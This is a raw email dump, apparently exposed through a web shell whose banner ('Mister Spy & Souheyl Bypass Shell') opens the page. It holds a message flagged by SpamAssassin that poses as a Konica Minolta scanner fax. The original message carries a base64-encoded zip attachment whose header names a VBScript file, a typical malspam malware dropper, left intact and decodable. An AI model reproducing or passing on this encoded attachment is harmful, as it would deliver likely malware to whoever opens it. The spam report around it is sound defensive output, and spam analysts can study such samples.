Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

From scanner@ift-informatik.de  Thu Dec  1 01:50:28 2016
Return-Path: <scanner@ift-informatik.de>
X-Original-To: swonneberger@ift-informatik.de
Delivered-To: swonneberger@ift-informatik.de
Received: by ift-informatik.de (Postfix, from userid 5555)
	id A701537525543; Thu,  1 Dec 2016 01:50:28 +0100 (CET)
Received: from localhost by h2486555.stratoserver.net
	with SpamAssassin (version 3.4.0);
	Thu, 01 Dec 2016 01:50:28 +0100
From: <scanner@ift-informatik.de>
To: <swonneberger@ift-informatik.de>
Subject: *****SPAM***** Message from KMBT_C220
Date: Wed, 30 Nov 2016 16:50:27 -0700
Message-Id: <F9573CCF.016.28412A7CEC84.scanner@ift-informatik.de>
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	h2486555.stratoserver.net
X-Spam-Flag: YES
X-Spam-Level: ****************
X-Spam-Status: Yes, score=16.9 required=5.0 tests=BAYES_20,CK_HELO_GENERIC,
	HELO_DYNAMIC_SPLIT_IP,RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_BRBL_LASTEXT,
	RCVD_IN_MSPIKE_BL,RCVD_IN_MSPIKE_L5,RCVD_IN_PBL,RCVD_IN_PSBL,
	RCVD_IN_SORBS_DUL,RCVD_IN_SORBS_WEB,RCVD_IN_XBL,RDNS_NONE,TVD_RCVD_IP,
	TVD_SPACE_RATIO,T_MIME_NO_TEXT autolearn=no autolearn_force=no version=3.4.0
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_583F73D4.2EC36A72"

This is a multi-part message in MIME format.

------------=_583F73D4.2EC36A72
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit

Spam detection software, running on the system "h2486555.stratoserver.net",
has identified this incoming email as possible spam.  The original
message has been attached to this so you can view it or label
similar future email.  If you have any questions, see
@@CONTACT_ADDRESS@@ for details.

Content preview:  [...] 

Content analysis details:   (16.9 points, 5.0 required)

 pts rule name              description
---- ---------------------- --------------------------------------------------
 3.3 RCVD_IN_PBL            RBL: Received via a relay in Spamhaus PBL
                            [41.254.0.179 listed in zen.spamhaus.org]
 0.4 RCVD_IN_XBL            RBL: Received via a relay in Spamhaus XBL
 0.2 CK_HELO_GENERIC        Relay used name indicative of a Dynamic Pool or
                            Generic rPTR
 3.5 HELO_DYNAMIC_SPLIT_IP  Relay HELO'd using suspicious hostname (Split
                            IP)
 0.0 TVD_RCVD_IP            No description available.
 2.7 RCVD_IN_PSBL           RBL: Received via a relay in PSBL
                            [41.254.0.179 listed in psbl.surriel.com]
 1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
                [Blocked - see <http://www.spamcop.net/bl.shtml?41.254.0.179>]
 2.4 RCVD_IN_MSPIKE_L5      RBL: Very bad reputation (-5)
                            [41.254.0.179 listed in bl.mailspike.net]
-0.0 BAYES_20               BODY: Bayes spam probability is 5 to 20%
                            [score: 0.1181]
 1.4 RCVD_IN_BRBL_LASTEXT   RBL: No description available.
                            [41.254.0.179 listed in bb.barracudacentral.org]
 0.8 RCVD_IN_SORBS_WEB      RBL: SORBS: sender is an abusable web server
                            [41.254.0.179 listed in dnsbl.sorbs.net]
 0.0 RCVD_IN_SORBS_DUL      RBL: SORBS: sent directly from dynamic IP address
 0.0 RCVD_IN_MSPIKE_BL      Mailspike blacklisted
 0.8 RDNS_NONE              Delivered to internal network by a host with no rDNS
 0.0 TVD_SPACE_RATIO        No description available.
 0.0 T_MIME_NO_TEXT         No (properly identified) text body parts

The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam.  If you wish to view
it, it may be safer to save it to a file and open it with an editor.


------------=_583F73D4.2EC36A72
Content-Type: message/rfc822; x-spam-type=original
Content-Description: original message before SpamAssassin
Content-Disposition: attachment
Content-Transfer-Encoding: 8bit

Received: from 41.254.0.20.WiMAX.dynamic.ltt.ly (unknown [41.254.0.179])
	by ift-informatik.de (Postfix) with ESMTP id BA4DD37524E53
	for <swonneberger@ift-informatik.de>; Thu,  1 Dec 2016 01:50:26 +0100 (CET)
To: <swonneberger@ift-informatik.de>
Subject: Message from KMBT_C220
From: <scanner@ift-informatik.de>
Reply-To: <scanner@ift-informatik.de>
X-Mailer: KONICA MINOLTA bizhub C220
Date: Wed, 30 Nov 2016 16:50:27 -0700
Message-ID: <F9573CCF.016.28412A7CEC84.scanner@ift-informatik.de>
Content-Type: multipart/mixed;
	boundary="KONICA_MINOLTA_Internet_Fax_Boundary"
Content-Transfer-Encoding: 7bit
MIME-Version: 1.0

--KONICA_MINOLTA_Internet_Fax_Boundary
Content-Type: application/zip; name="SKMBT_C03174851306252.zip"
Content-Disposition: attachment; filename="SKMBT_C03174851306252.zip"
Content-Transfer-Encoding: BASE64

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
AAEAPgAAABsHAAAAAA==

--KONICA_MINOLTA_Internet_Fax_Boundary--

------------=_583F73D4.2EC36A72--